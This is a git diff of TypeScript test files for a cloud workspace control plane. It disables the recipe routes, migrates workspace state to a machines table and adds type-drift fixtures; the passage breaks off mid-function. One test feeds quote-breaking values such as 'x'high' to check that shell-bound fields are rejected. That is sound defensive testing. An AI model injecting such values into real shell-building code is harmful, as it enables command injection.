appRequest( app, @@ -623,7 +636,7 @@ describe("organization compute credentials", () => { .toBe(true); await env.DB.prepare( - "UPDATE workspaces SET phase = 'destroying' WHERE id = ?1", + "UPDATE machines SET state = 'destroying' WHERE workspace_id = ?1", ).bind(sweepId).run(); const fallback = new FakeProviders(); const base = testRuntime(fallback); @@ -758,7 +771,7 @@ describe("organization compute credentials", () => { body: JSON.stringify({ machineTypeId: "cpx21@hil" }), }); expect(created.status).toBe(201); - await env.DB.prepare("UPDATE workspaces SET phase = 'destroying'").run(); + await env.DB.prepare("UPDATE machines SET state = 'destroying'").run(); const deleted = await appRequest( app, "/orgs/personal/compute-credentials/hetzner", @@ -795,7 +808,7 @@ describe("organization compute credentials", () => { expect(reportError.mock.calls[0]?.[0]).toBe("orphan_sweep_compute_credential_skipped"); expect(reportError.mock.calls[0]?.[1].message).toContain("org has no hetzner credential"); expect( - await env.DB.prepare("SELECT vm_id FROM workspaces LIMIT 1").first<{ vm_id: string | null }>(), + await env.DB.prepare("SELECT vm_id FROM machines LIMIT 1").first<{ vm_id: string | null }>(), ).toMatchObject({ vm_id: expect.any(String) }); }); diff --git a/packages/control-plane/test/recipes.test.ts b/packages/control-plane/test/recipes.test.ts index 070f72a0..ed64eeda 100644 --- a/packages/control-plane/test/recipes.test.ts +++ b/packages/control-plane/test/recipes.test.ts @@ -1,25 +1,14 @@ import { env } from "cloudflare:workers"; import { beforeEach, describe, expect, it } from "vitest"; -import type { RecipeView, WorkspaceView } from "@blitzos/schema"; -import { recipeInvocationEnvFile, shellQuote } from "../core/bootstrap.js"; import { appRequest, harness, operatorSession, resetDatabase, sameOrgSession, - userSession, } from "./helpers.js"; -interface RecipeEnvelope { - recipe: RecipeView; -} - -interface WorkspaceEnvelope { - workspace: WorkspaceView; -} - -function json(body: object, method = "POST") { +function json(body: { enabled: boolean }, method = "POST") { return { method, headers: { "Content-Type": "application/json" }, @@ -27,389 +16,66 @@ function json(body: object, method = "POST") { }; } -async function createTemplate( - app: ReturnType["app"], - cookie: string, - name = "web analysis", - folderIds: string[] = [], -): Promise { - const response = await appRequest(app, "/workspace-templates", { - ...json({ name, machineTypeId: "small", folderIds }), - headers: { Cookie: cookie, "Content-Type": "application/json" }, - }); - expect(response.status).toBe(201); - return (await response.json<{ template: { id: string } }>()).template.id; -} - -async function createRecipe( - app: ReturnType["app"], - cookie: string, - body: object, -): Promise { - return appRequest(app, "/workspace-recipes", { - ...json(body), - headers: { Cookie: cookie, "Content-Type": "application/json" }, - }); -} - -describe("recipes", () => { +describe("recipes (disabled 2026-08-29, feature hidden)", () => { beforeEach(resetDatabase); - it("creates, lists, reads, updates, and deletes a recipe", async () => { + // The recipe code and the `recipes` rows are untouched; only the routes are + // unmounted (see the commented registration in core/app.ts). What this pins + // is that the whole surface is absent, launch included, so nothing reaches a + // launch source it can no longer resolve. + it("answers 404 on every recipe route, launch included", async () => { const { app } = harness(); const cookie = await operatorSession(app); - const templateId = await createTemplate(app, cookie); - - const created = await createRecipe(app, cookie, { - name: "nightly evals", - templateId, - harness: "chat", - model: "claude-sonnet-5", - effort: "xhigh", - prompt: "Aggregate usage and write evals.\n", - }); - expect(created.status).toBe(201); - const recipe = (await created.json()).recipe; - expect(recipe).toEqual({ - id: recipe.id, - name: "nightly evals", - templateId, - harness: "chat", - model: "claude-sonnet-5", - effort: "xhigh", - prompt: "Aggregate usage and write evals.\n", - }); - - const listed = await appRequest(app, "/workspace-recipes", { headers: { Cookie: cookie } }); - expect(listed.status).toBe(200); - expect((await listed.json<{ recipes: RecipeView[] }>()).recipes).toEqual([recipe]); - - const read = await appRequest(app, `/workspace-recipes/${recipe.id}`, { - headers: { Cookie: cookie }, - }); - expect((await read.json()).recipe).toEqual(recipe); - - const updated = await appRequest(app, `/workspace-recipes/${recipe.id}`, { - ...json({ - name: "weekly evals", - templateId, - harness: "claude", - prompt: "Write evals.\n", - }, "PUT"), - headers: { Cookie: cookie, "Content-Type": "application/json" }, - }); - expect(updated.status).toBe(200); - const replaced = (await updated.json()).recipe; - expect(replaced.name).toBe("weekly evals"); - expect(replaced.harness).toBe("claude"); - // Full replacement: the cleared model and effort disappear from the view. - expect("model" in replaced).toBe(false); - expect("effort" in replaced).toBe(false); - - expect((await appRequest(app, `/workspace-recipes/${recipe.id}`, { - method: "DELETE", - headers: { Cookie: cookie }, - })).status).toBe(204); - expect((await appRequest(app, `/workspace-recipes/${recipe.id}`, { - headers: { Cookie: cookie }, - })).status).toBe(404); - }); - - it("leaves the SPA's /recipes paths unrouted, exactly like /templates", async () => { - const { app } = harness(); - const cookie = await operatorSession(app); - const templateId = await createTemplate(app, cookie); - const created = await createRecipe(app, cookie, { - name: "shell check", - templateId, + const body = { + name: "routine", + templateId: "any-workspace", harness: "claude", prompt: "Go.\n", - }); - const recipe = (await created.json()).recipe; - - // The API lives under /workspace-recipes; the SPA keeps /recipes, - // /recipes/new, and /recipes/:id/edit as pure UI paths. In production - // those fall through to the asset layer's SPA fallback (they are not in - // run_worker_first / API_PREFIXES); this harness has no asset layer, so - // the observable contract is that the router does not claim them — every - // one produces the same unrouted notFound body /templates does. - const htmlAccept = "text/html,application/xhtml+xml"; - const templatesPage = await appRequest(app, "/templates", { - headers: { Cookie: cookie, Accept: htmlAccept }, - }); - expect(templatesPage.status).toBe(404); - const unroutedBody = await templatesPage.text(); - const pages = ["/recipes", "/recipes/new", `/recipes/${recipe.id}`, `/recipes/${recipe.id}/edit`]; - for (const path of pages) { - const response = await appRequest(app, path, { - headers: { Cookie: cookie, Accept: htmlAccept }, - }); - expect(response.status, path).toBe(404); - expect(await response.text(), path).toBe(unroutedBody); - } - - // The JSON API answers JSON regardless of the Accept header — no shell - // branches survive on the API namespace. - const listed = await appRequest(app, "/workspace-recipes", { - headers: { Cookie: cookie, Accept: htmlAccept }, - }); - expect(listed.status).toBe(200); - expect(listed.headers.get("content-type")).toContain("application/json"); - expect((await listed.json<{ recipes: RecipeView[] }>()).recipes).toEqual([recipe]); - const read = await appRequest(app, `/workspace-recipes/${recipe.id}`, { - headers: { Cookie: cookie, Accept: htmlAccept }, - }); - expect(read.headers.get("content-type")).toContain("application/json"); - expect((await read.json()).recipe).toEqual(recipe); - // "new" is just an unknown :id on the API namespace. - const asNew = await appRequest(app, "/workspace-recipes/new", { - headers: { Cookie: cookie }, - }); - expect(asNew.status).toBe(404); - expect(await asNew.json()).toEqual({ error: "recipe not found", retryAction: null }); - }); - - it("enforces the write-time harness, model, and effort gates", async () => { - const { app } = harness(); - const cookie = await operatorSession(app); - const templateId = await createTemplate(app, cookie); - const base = { name: "gated", templateId, prompt: "Go.\n" }; - - const cases: Array<[object, number, string]> = [ - [{ ...base, harness: "vim" }, 400, "unknown harness"], - [{ ...base, harness: "chat" }, 400, "chat requires a model"], - [{ ...base, harness: "chat", model: "claude-opus-99" }, 400, "model outside the catalog"], - [{ ...base, harness: "claude", model: "gpt-5.6-sol" }, 400, "claude recipe with a codex model"], - [{ ...base, harness: "codex", model: "claude-opus-5" }, 400, "codex recipe with a claude model"], - [{ ...base, harness: "claude", effort: "hi gh" }, 400, "effort with whitespace"], - [{ ...base, harness: "claude", effort: "x'high" }, 400, "effort with a quote"], - // Shell-safe but outside the catalog: agentEffortsForModel gates the - // value against the pinned model, or the provider base without one. - [{ ...base, harness: "claude", effort: "ultra" }, 400, "no claude model has ultra"], - [{ ...base, harness: "codex", effort: "max" }, 400, "max needs a gpt-5.6 model pinned"], - [{ ...base, harness: "codex", model: "gpt-5.5", effort: "ultra" }, 400, "ultra outside gpt-5.5's efforts"], - [{ ...base, harness: "codex", model: "gpt-5.6-luna", effort: "ultra" }, 400, "ultra is sol/terra only"], - [{ ...base, harness: "chat", model: "gpt-5.6-luna", effort: "ultra" }, 400, "chat gates on the pinned model too"], - [{ ...base, harness: "claude", templateId: "missing" }, 404, "unknown template"], - [{ ...base, harness: "claude", prompt: "" }, 400, "empty prompt"], + }; + + const routes: Array<[string, RequestInit]> = [ + ["/workspace-recipes", { headers: { Cookie: cookie } }], + ["/workspace-recipes/some-id", { headers: { Cookie: cookie } }], + ["/workspace-recipes", { + method: "POST", + headers: { Cookie: cookie, "Content-Type": "application/json" }, + body: JSON.stringify(body), + }], + ["/workspace-recipes/some-id", { + method: "PUT", + headers: { Cookie: cookie, "Content-Type": "application/json" }, + body: JSON.stringify(body), + }], + ["/workspace-recipes/some-id", { method: "DELETE", headers: { Cookie: cookie } }], + ["/workspace-recipes/some-id/launch", { method: "POST", headers: { Cookie: cookie } }], ]; - for (const [body, status, label] of cases) { - expect((await createRecipe(app, cookie, body)).status, label).toBe(status); + for (const [path, init] of routes) { + const response = await appRequest(app, path, init); + expect(response.status, `${init.method ?? "GET"} ${path}`).toBe(404); + await expect(response.json(), path).resolves.toEqual({ + error: "not found", + retryAction: null, + }); } - - // Valid pairings pass: harness-matching model, and codex/claude models on chat. - expect((await createRecipe(app, cookie, { ...base, harness: "claude", model: "claude-fable-5" })).status).toBe(201); - expect((await createRecipe(app, cookie, { ...base, harness: "claude", model: "claude-opus-5" })).status).toBe(201); - expect((await createRecipe(app, cookie, { ...base, harness: "codex", model: "gpt-5.6-sol", effort: "low" })).status).toBe(201); - expect((await createRecipe(app, cookie, { ...base, harness: "chat", model: "gpt-5.6-sol" })).status).toBe(201); - // Extended tiers pass exactly where the model grants them. - expect((await createRecipe(app, cookie, { ...base, harness: "codex", effort: "xhigh" })).status).toBe(201); - expect((await createRecipe(app, cookie, { ...base, harness: "codex", model: "gpt-5.6-terra", effort: "ultra" })).status).toBe(201); - expect((await createRecipe(app, cookie, { ...base, harness: "chat", model: "gpt-5.6-luna", effort: "max" })).status).toBe(201); - - // Another org can neither see this org's recipes nor build on its template. - const stranger = await userSession("stranger"); - expect((await createRecipe(app, stranger, { ...base, harness: "claude" })).status).toBe(404); - const listed = await appRequest(app, "/workspace-recipes", { headers: { Cookie: stranger } }); - expect((await listed.json<{ recipes: RecipeView[] }>()).recipes).toEqual([]); - }); - - it("limits edits to the admin or the creator, like templates", async () => { - const { app } = harness(); - const admin = await operatorSession(app); - const author = await sameOrgSession("author"); - const bystander = await sameOrgSession("bystander"); - const templateId = await createTemplate(app, admin); - - const created = await createRecipe(app, author.cookie, { - name: "mine", - templateId, - harness: "claude", - prompt: "Go.\n", - }); - expect(created.status).toBe(201); - const id = (await created.json()).recipe.id; - const edit = json({ name: "hijack", templateId, harness: "claude", prompt: "Go.\n" }, "PUT"); - - expect((await appRequest(app, `/workspace-recipes/${id}`, { - ...edit, - headers: { Cookie: bystander.cookie, "Content-Type": "application/json" }, - })).status).toBe(403); - expect((await appRequest(app, `/workspace-recipes/${id}`, { - method: "DELETE", - headers: { Cookie: bystander.cookie }, - })).status).toBe(403); - expect((await appRequest(app, `/workspace-recipes/${id}`, { - ...edit, - headers: { Cookie: author.cookie, "Content-Type": "application/json" }, - })).status).toBe(200); - expect((await appRequest(app, `/workspace-recipes/${id}`, { - ...json({ name: "admin edit", templateId, harness: "claude", prompt: "Go.\n" }, "PUT"), - headers: { Cookie: admin, "Content-Type": "application/json" }, - })).status).toBe(200); }); - it("refuses to delete a referenced template, naming the blocking recipes", async () => { + // The rows survive the surface. A recipe written before the feature was + // hidden is still in D1, and turning the routes back on has to find it. + it("leaves recipe rows in the database untouched", async () => { const { app } = harness(); - const cookie = await operatorSession(app); - const templateId = await createTemplate(app, cookie); - const created = await createRecipe(app, cookie, { - name: "holder", - templateId, - harness: "codex", - prompt: "Go.\n", - }); - const id = (await created.json()).recipe.id; - - // One blocker: singular message with the recipe's name. - const refusedOnce = await appRequest(app, `/workspace-templates/${templateId}`, { - method: "DELETE", - headers: { Cookie: cookie }, - }); - expect(refusedOnce.status).toBe(409); - expect(await refusedOnce.json()).toEqual({ - error: "delete the 1 recipe using this template first: holder", - retryAction: null, - }); - - // Two blockers: the count and every name, in creation order. - const second = await createRecipe(app, cookie, { - name: "second holder", - templateId, - harness: "claude", - prompt: "Go.\n", - }); - const secondId = (await second.json()).recipe.id; - const refusedTwice = await appRequest(app, `/workspace-templates/${templateId}`, { - method: "DELETE", - headers: { Cookie: cookie }, - }); - expect(refusedTwice.status).toBe(409); - expect(await refusedTwice.json()).toEqual({ - error: "delete the 2 recipes using this template first: holder, second holder", - retryAction: null, - }); - - for (const recipeId of [id, secondId]) { - expect((await appRequest(app, `/workspace-recipes/${recipeId}`, { - method: "DELETE", - headers: { Cookie: cookie }, - })).status).toBe(204); - } - expect((await appRequest(app, `/workspace-templates/${templateId}`, { - method: "DELETE", - headers: { Cookie: cookie }, - })).status).toBe(204); - }); - - it("launches through the existing create path and shapes the bootstrap", async () => { - const { app, providers } = harness(); - const cookie = await operatorSession(app); - const folderResponse = await appRequest(app, "/folders", { - ...json({ name: "datasets" }), - headers: { Cookie: cookie, "Content-Type": "application/json" }, - }); - const folderId = (await folderResponse.json<{ folder: { id: string } }>()).folder.id; - const templateId = await createTemplate(app, cookie, "web analysis", [folderId]); - const created = await createRecipe(app, cookie, { - name: "chat routine", - templateId, - harness: "chat", - model: "gpt-5.6-sol", - effort: "low", - prompt: "Summarize the datasets folder.\n", - }); - const recipe = (await created.json()).recipe; - - const launched = await appRequest(app, `/workspace-recipes/${recipe.id}/launch`, { - method: "POST", - headers: { Cookie: cookie }, - }); - expect(launched.status).toBe(201); - const workspace = (await launched.json()).workspace; - // Template flows: machine-type default and the template-derived name. - expect(workspace.machineTypeId).toBe("small"); - expect(workspace.name).toBe("web analysis"); - expect(workspace.recipeId).toBe(recipe.id); - - // Provenance survives the poll view too. - const read = await appRequest(app, `/workspaces/${workspace.id}`, { - headers: { Cookie: cookie }, - }); - expect((await read.json()).workspace.recipeId).toBe(recipe.id); - - // The launcher's readable template folders attach, launcher as principal. - const attachments = await env.DB.prepare( - "SELECT folder_id FROM folder_attachments WHERE workspace_id = ?1", - ).bind(workspace.id).all<{ folder_id: string }>(); - expect(attachments.results.map(({ folder_id }) => folder_id)).toEqual([folderId]); - - // Bootstrap shaping: chat maps BLITZ_AGENT to the model's provider, the - // invocation files land, and the sender is emitted. - const userData = providers.userData.get(workspace.id) ?? ""; - expect(userData).toContain("-e BLITZ_AGENT='codex' \\"); - expect(userData).toContain( - `printf '%s' ${shellQuote("Summarize the datasets folder.\n")} >/var/lib/blitz/recipe/prompt.txt`, - ); - expect(userData).toContain( - `printf '%s' ${shellQuote(recipeInvocationEnvFile({ - harness: "chat", - agentProvider: "codex", - model: "gpt-5.6-sol", - effort: "low", - prompt: "", - }))} >/var/lib/blitz/recipe/invocation.env`, - ); - expect(userData).toContain("<<'RECIPE_SENDER'"); - - // An ordinary create in the same org keeps the pre-recipe bytes. - const plain = await appRequest(app, "/workspaces", { - ...json({ machineTypeId: "small" }), - headers: { Cookie: cookie, "Content-Type": "application/json" }, - }); - const plainWorkspace = (await plain.json()).workspace; - expect("recipeId" in plainWorkspace).toBe(false); - const plainUserData = providers.userData.get(plainWorkspace.id) ?? ""; - expect(plainUserData).not.toContain("BLITZ_AGENT"); - expect(plainUserData).not.toContain("/var/lib/blitz/recipe"); - }); - - it("emits no sender and no BLITZ_AGENT for TUI harnesses and passes the vm_limit 409 through", async () => { - const { app, providers } = harness(); - const cookie = await operatorSession(app); - const templateId = await createTemplate(app, cookie); - const created = await createRecipe(app, cookie, { - name: "tui routine", - templateId, - harness: "claude", - prompt: "Refactor the repo.\n", - }); - const recipe = (await created.json()).recipe; - - const launched = await appRequest(app, `/workspace-recipes/${recipe.id}/launch`, { - method: "POST", - headers: { Cookie: cookie }, - }); - expect(launched.status).toBe(201); - const workspace = (await launched.json()).workspace; - const userData = providers.userData.get(workspace.id) ?? ""; - // TUI recipes never pin the actor's adapter: the invocation files land, - // but the box keeps the image-default BLITZ_AGENT for its chat tab. - expect(userData).not.toContain("BLITZ_AGENT"); - expect(userData).toContain( - `printf '%s' ${shellQuote(recipeInvocationEnvFile({ - harness: "claude", - prompt: "", - }))} >/var/lib/blitz/recipe/invocation.env`, - ); - expect(userData).not.toContain("RECIPE_SENDER"); - - await env.DB.prepare("UPDATE orgs SET vm_limit = 1 WHERE id = 'personal'").run(); - const refused = await appRequest(app, `/workspace-recipes/${recipe.id}/launch`, { - method: "POST", - headers: { Cookie: cookie }, - }); - expect(refused.status).toBe(409); + await operatorSession(app); + const now = Date.now(); + await env.DB.prepare( + `INSERT INTO recipes + (id, org_id, name, source_workspace_id, harness, model, effort, prompt, + created_by_membership_id, created_at, updated_at) + VALUES ('kept', 'personal', 'nightly evals', NULL, 'codex', NULL, NULL, + 'Go.\n', 'personal', ?1, ?1)`, + ).bind(now).run(); + + expect((await appRequest(app, "/workspace-recipes/kept")).status).toBe(404); + await expect(env.DB.prepare("SELECT id, name FROM recipes WHERE id = 'kept'").first()) + .resolves.toMatchObject({ id: "kept", name: "nightly evals" }); }); it("gates usage capture behind the org admin and lazy-creates the folder once", async () => { diff --git a/packages/control-plane/test/usage-push.test.ts b/packages/control-plane/test/usage-push.test.ts index eb3ab6c8..1553aa01 100644 --- a/packages/control-plane/test/usage-push.test.ts +++ b/packages/control-plane/test/usage-push.test.ts @@ -112,7 +112,7 @@ async function capturingWorkspace(providers: UsageGuestProviders): Promise<{ expect(enabled.status).toBe(200); const { folderId } = await enabled.json<{ folderId: string }>(); const workspace = await createWorkspace(app, cookie); - await env.DB.prepare("UPDATE workspaces SET phase = 'ready' WHERE id = ?1") + await env.DB.prepare("UPDATE machines SET state = 'running' WHERE workspace_id = ?1") .bind(workspace.id).run(); return { app, cookie, workspaceId: workspace.id, folderId }; } @@ -186,24 +186,17 @@ describe("agent-usage capture push", () => { it("stamps the launching recipe into meta.json", async () => { const providers = new UsageGuestProviders(); - const { app, cookie, workspaceId, folderId } = await capturingWorkspace(providers); - const template = await appRequest(app, "/workspace-templates", { - method: "POST", - headers: { Cookie: cookie, "Content-Type": "application/json" }, - body: JSON.stringify({ name: "usage", machineTypeId: "small", folderIds: [] }), - }); - const templateId = (await template.json<{ template: { id: string } }>()).template.id; - const created = await appRequest(app, "/workspace-recipes", { - method: "POST", - headers: { Cookie: cookie, "Content-Type": "application/json" }, - body: JSON.stringify({ - name: "provenance", - templateId, - harness: "codex", - prompt: "Go.\n", - }), - }); - const recipeId = (await created.json<{ recipe: { id: string } }>()).recipe.id; + const { workspaceId, folderId } = await capturingWorkspace(providers); + // The recipe routes are unmounted (disabled 2026-08-29), so the row is + // written directly: what this test is about is the provenance stamp the + // usage push reads, not the surface that would have created it. + const recipeId = "provenance-recipe"; + await env.DB.prepare( + `INSERT INTO recipes + (id, org_id, name, source_workspace_id, harness, model, effort, prompt, + created_by_membership_id, created_at, updated_at) + VALUES (?1, 'personal', 'provenance', NULL, 'codex', NULL, NULL, 'Go.', 'personal', ?2, ?2)`, + ).bind(recipeId, Date.now()).run(); await env.DB.prepare("UPDATE workspaces SET recipe_id = ?1 WHERE id = ?2") .bind(recipeId, workspaceId).run(); providers.files.set("claude/projects/a.jsonl", { body: "blob", mtime: 5_000 }); diff --git a/packages/control-plane/test/webapp-state.test.ts b/packages/control-plane/test/webapp-state.test.ts index 4caf4281..e801a910 100644 --- a/packages/control-plane/test/webapp-state.test.ts +++ b/packages/control-plane/test/webapp-state.test.ts @@ -12,9 +12,17 @@ import { testRuntime, } from "./helpers.js"; +/** The org-wide share became a stored workspace role per member + * (plans/MEMBER-MACHINES.md §1): editor → member, viewer → viewer. */ async function setOrgShareRole(workspaceId: string, role: "editor" | "viewer"): Promise { - await env.DB.prepare("UPDATE workspaces SET org_share_role = ?1 WHERE id = ?2") - .bind(role, workspaceId).run(); + await env.DB.prepare( + `INSERT INTO workspace_members + (workspace_id, membership_id, role, added_by_membership_id, added_at) + SELECT ?1, m.id, ?2, 'personal', ?3 + FROM memberships m + WHERE m.org_id = 'personal' AND m.status = 'active' AND m.id != 'personal' + ON CONFLICT(workspace_id, membership_id) DO UPDATE SET role = excluded.role`, + ).bind(workspaceId, role === "editor" ? "member" : "viewer", Date.now()).run(); } const workspaceDoc = { @@ -524,7 +532,7 @@ describe("server-side webApp state", () => { expect((await put(`/${"x".repeat(4_095)}`)).status).toBe(200); }); - it("deletes per-workspace state when the orphan sweep finishes destroy", async () => { + it("keeps per-workspace state through a machine destroy and drops it with the workspace", async () => { const { app, providers } = harness(); const cookie = await operatorSession(app); const workspace = await createWorkspace(app, cookie); @@ -533,11 +541,25 @@ describe("server-side webApp state", () => { headers: { Cookie: cookie, "Content-Type": "application/json" }, body: JSON.stringify(workspaceDoc), }); + // The workspace doc is workspace-wide, so a machine finishing its destroy + // must not take it: another member may still be working. Deleting it is + // the WORKSPACE delete's job, and only once every machine is gone. await env.DB.prepare( - "UPDATE workspaces SET phase = 'destroying' WHERE id = ?1", + "UPDATE machines SET state = 'destroying' WHERE workspace_id = ?1", ).bind(workspace.id).run(); expect(await runOrphanSweep(testRuntime(providers))).toBe(1); + expect( + await env.DB.prepare( + "SELECT COUNT(*) AS count FROM webapp_state WHERE workspace_id = ?1", + ).bind(workspace.id).first("count"), + ).toBe(1); + + const destroyed = await appRequest(app, `/workspaces/${workspace.id}`, { + method: "DELETE", + headers: { Cookie: cookie }, + }); + expect(destroyed.status).toBe(200); expect( await env.DB.prepare( "SELECT COUNT(*) AS count FROM webapp_state WHERE workspace_id = ?1", diff --git a/packages/control-plane/test/wire-drift.test.ts b/packages/control-plane/test/wire-drift.test.ts index 383d1fea..659136f0 100644 --- a/packages/control-plane/test/wire-drift.test.ts +++ b/packages/control-plane/test/wire-drift.test.ts @@ -137,6 +137,103 @@ const orgUsageCapture: SharedShape< schema.OrgUsageCaptureResponse > = { enabled: true, folderId: "folder" }; +const machine: SharedShape = { + id: "machine", + state: "running", + machineTypeId: "mv-2c2g@lab", + volumeId: volume.id, + membershipId: "membership", + error: null, + createdAt: 1_700_000_000_000, + updatedAt: 1_700_000_005_000, +}; + +const workspaceMember: SharedShape< + wire.WorkspaceMemberView, + schema.WorkspaceMemberView +> = { + membershipId: machine.membershipId, + name: "Owner", + avatarUrl: null, + role: "admin", + machine, +}; + +// A viewer holds no machine, ever (plan §2.2). Null covers different ground +// than an object, so it needs its own row. +const viewerMember: SharedShape< + wire.WorkspaceMemberView, + schema.WorkspaceMemberView +> = { + membershipId: "viewer-membership", + name: "Watcher", + avatarUrl: "https://avatars.example/watcher.png", + role: "viewer", + machine: null, +}; + +const workspaceCredential: SharedShape< + wire.WorkspaceCredentialView, + schema.WorkspaceCredentialView +> = { name: "STRIPE_API_KEY", label: "live", createdAt: 6 }; + +const machineResponse: SharedShape< + wire.MachineResponse, + schema.MachineResponse +> = { machine }; + +const setMachineTypeRequest: SharedShape< + wire.SetMachineTypeRequest, + schema.SetMachineTypeRequest +> = { machineTypeId: pricedMachineType.id }; + +const addWorkspaceMemberRequest: SharedShape< + wire.AddWorkspaceMemberRequest, + schema.AddWorkspaceMemberRequest +> = { + membershipId: viewerMember.membershipId, + role: "member", + machineTypeId: pricedMachineType.id, +}; + +const updateWorkspaceMemberRequest: SharedShape< + wire.UpdateWorkspaceMemberRequest, + schema.UpdateWorkspaceMemberRequest +> = { role: "viewer" }; + +const provisionMemberMachineRequest: SharedShape< + wire.ProvisionMemberMachineRequest, + schema.ProvisionMemberMachineRequest +> = { machineTypeId: pricedMachineType.id }; + +// Every settings field at once. `agentRuleId` also travels as an explicit +// null — the way back to the built-in doc — which is different ground than a +// string, so it gets its own row below. +const updateWorkspaceRequest: SharedShape< + wire.UpdateWorkspaceRequest, + schema.UpdateWorkspaceRequest +> = { + name: "engineering", + defaultMachineTypeId: machineType.id, + autoProvision: false, + agentRuleId: "rule", +}; + +const clearAgentRuleRequest: SharedShape< + wire.UpdateWorkspaceRequest, + schema.UpdateWorkspaceRequest +> = { agentRuleId: null }; + +const workspaceMemberResponse: SharedShape< + wire.WorkspaceMemberResponse, + schema.WorkspaceMemberResponse +> = { member: workspaceMember }; + +const putWorkspaceCredentialRequest: SharedShape< + wire.PutWorkspaceCredentialRequest, + schema.PutWorkspaceCredentialRequest +> = { name: workspaceCredential.name, label: "live", value: "sk_test_only" }; + const workspace: SharedShape = { id: "workspace", name: "brave-otter", @@ -157,12 +254,17 @@ const workspace: SharedShape = { volumeId: volume.id, error: null, role: "owner", - orgShareRole: "editor", owner: { name: "Owner", avatarUrl: null }, - environment, agentRuleId: agentRule.id, connections: ["linear"], recipeId: recipe.id, + orgId: "org", + ownerMembershipId: workspaceMember.membershipId, + defaultMachineTypeId: machineType.id, + autoProvision: true, + myRole: "admin", + members: [workspaceMember, viewerMember], + credentials: [workspaceCredential], }; const templateConnection: SharedShape< @@ -175,6 +277,16 @@ const templateRepo: SharedShape< schema.TemplateRepoView > = { repo: "blitzdotdev/blitz-core", private: true }; +const addWorkspaceRepoRequest: SharedShape< + wire.AddWorkspaceRepoRequest, + schema.AddWorkspaceRepoRequest +> = { repo: templateRepo.repo }; + +const listWorkspaceReposResponse: SharedShape< + wire.ListWorkspaceReposResponse, + schema.ListWorkspaceReposResponse +> = { repos: [templateRepo] }; + const githubInstallation: SharedShape< wire.GithubInstallationView, schema.GithubInstallationView @@ -269,6 +381,11 @@ const createWorkspaceRequest: SharedShape< schema.CreateWorkspaceRequest > = { machineTypeId: machineType.id, + defaultMachineTypeId: machineType.id, + autoProvision: false, + members: [{ membershipId: viewerMember.membershipId, role: "member", machineTypeId: machineType.id }], + credentials: [{ name: workspaceCredential.name, label: "live", value: "sk_test_only" }], + cloneFromWorkspaceId: "workspace", sshPublicKey: "ssh-ed25519 AAAAcaller", volumeId: volume.id, userData: "#cloud-config\n", @@ -278,7 +395,6 @@ const createWorkspaceRequest: SharedShape< }, }, connections: ["github"], - environment, agentRuleId: agentRule.id, repos: [templateRepo.repo], }; @@ -537,6 +653,19 @@ const connectionsResponse: SharedShape< > = { connections: [connectionView] }; const fullFieldValues = [ + machine, + workspaceMember, + viewerMember, + workspaceCredential, + machineResponse, + setMachineTypeRequest, + addWorkspaceMemberRequest, + updateWorkspaceMemberRequest, + provisionMemberMachineRequest, + updateWorkspaceRequest, + clearAgentRuleRequest, + workspaceMemberResponse, + putWorkspaceCredentialRequest, machineType, pricedMachineType, machineTypeFailure, @@ -553,6 +682,8 @@ const fullFieldValues = [ workspace, templateConnection, templateRepo, + addWorkspaceRepoRequest, + listWorkspaceReposResponse, githubInstallation, listGithubInstallations, githubRepository, @@ -612,6 +743,19 @@ describe("local wire copies", () => { expectTypeOf().toEqualTypeOf(); expectTypeOf().toEqualTypeOf(); expectTypeOf().toEqualTypeOf(); + expectTypeOf().toEqualTypeOf(); + expectTypeOf().toEqualTypeOf(); + expectTypeOf().toEqualTypeOf(); + expectTypeOf().toEqualTypeOf(); + expectTypeOf().toEqualTypeOf(); + expectTypeOf().toEqualTypeOf(); + expectTypeOf().toEqualTypeOf(); + expectTypeOf().toEqualTypeOf(); + expectTypeOf().toEqualTypeOf(); + expectTypeOf().toEqualTypeOf(); + expectTypeOf().toEqualTypeOf(); + expectTypeOf().toEqualTypeOf(); + expectTypeOf().toEqualTypeOf(); expectTypeOf().toEqualTypeOf(); expectTypeOf().toEqualTypeOf(); expectTypeOf().toEqualTypeOf(); @@ -629,6 +773,8 @@ describe("local wire copies", () => { expectTypeOf().toEqualTypeOf(); expectTypeOf().toEqualTypeOf(); expectTypeOf().toEqualTypeOf(); + expectTypeOf().toEqualTypeOf(); + expectTypeOf().toEqualTypeOf(); expectTypeOf().toEqualTypeOf(); expectTypeOf().toEqualTypeOf(); expectTypeOf().toEqualTypeOf(); @@ -711,6 +857,8 @@ describe("local wire copies", () => { } expect(wire.BOX_UPDATE_OUTCOMES).toEqual(schema.BOX_UPDATE_OUTCOMES); expect(wire.PHASES).toEqual(schema.PHASES); + expect(wire.WORKSPACE_MEMBER_ROLES).toEqual(schema.WORKSPACE_MEMBER_ROLES); + expect(wire.MACHINE_STATES).toEqual(schema.MACHINE_STATES); expect(wire.RETRY_ACTIONS).toEqual(schema.RETRY_ACTIONS); expect(wire.PHASE_TRANSITIONS).toEqual(schema.PHASE_TRANSITIONS); expect(wire.INVITE_TTL_DAYS).toBe(schema.INVITE_TTL_DAYS); diff --git a/packages/control-plane/test/workspace-clones.test.ts b/packages/control-plane/test/workspace-clones.test.ts new file mode 100644 index 00000000..52ea5a1d --- /dev/null +++ b/packages/control-plane/test/workspace-clones.test.ts @@ -0,0 +1,457 @@ +import { env } from "cloudflare:workers"; +import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; +import type { WorkspaceView } from "@blitzos/schema"; +import { + appRequest, + harness, + operatorSession, + sameOrgSession, + resetDatabase, + testConnectSecrets, + userSession, +} from "./helpers.js"; + +function json(body: object) { + return { + method: "POST", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify(body), + }; +} + +/** Walks the real authorize -> callback round trip. A pasted token cannot + * stand in for this: private repos in a workspace are App-only, and the two + * grants are distinguishable to every route that cares. The ambient fetch mock + * has to answer the token endpoint. */ +async function connectGithubApp( + app: ReturnType["app"], + cookie: string, +): Promise { + testConnectSecrets.set("GITHUB_APP_CLIENT_ID", "github-client-id"); + testConnectSecrets.set("GITHUB_APP_CLIENT_SECRET", "github-client-secret"); + const started = await appRequest(app, "/connect/github/start", { + headers: { Cookie: cookie }, + }); + expect(started.status).toBe(302); + const authorize = new URL(started.headers.get("location") ?? ""); + const state = authorize.searchParams.get("state") ?? ""; + const stateCookie = (started.headers.get("set-cookie") ?? "").split(";")[0] ?? ""; + const callback = await appRequest( + app, + `/connect/github/callback?code=github-code&state=${encodeURIComponent(state)}`, + { headers: { Cookie: stateCookie } }, + ); + expect(callback.status).toBe(302); +} + +async function createFolder( + app: ReturnType["app"], + cookie: string, + name: string, +): Promise { + const response = await appRequest(app, 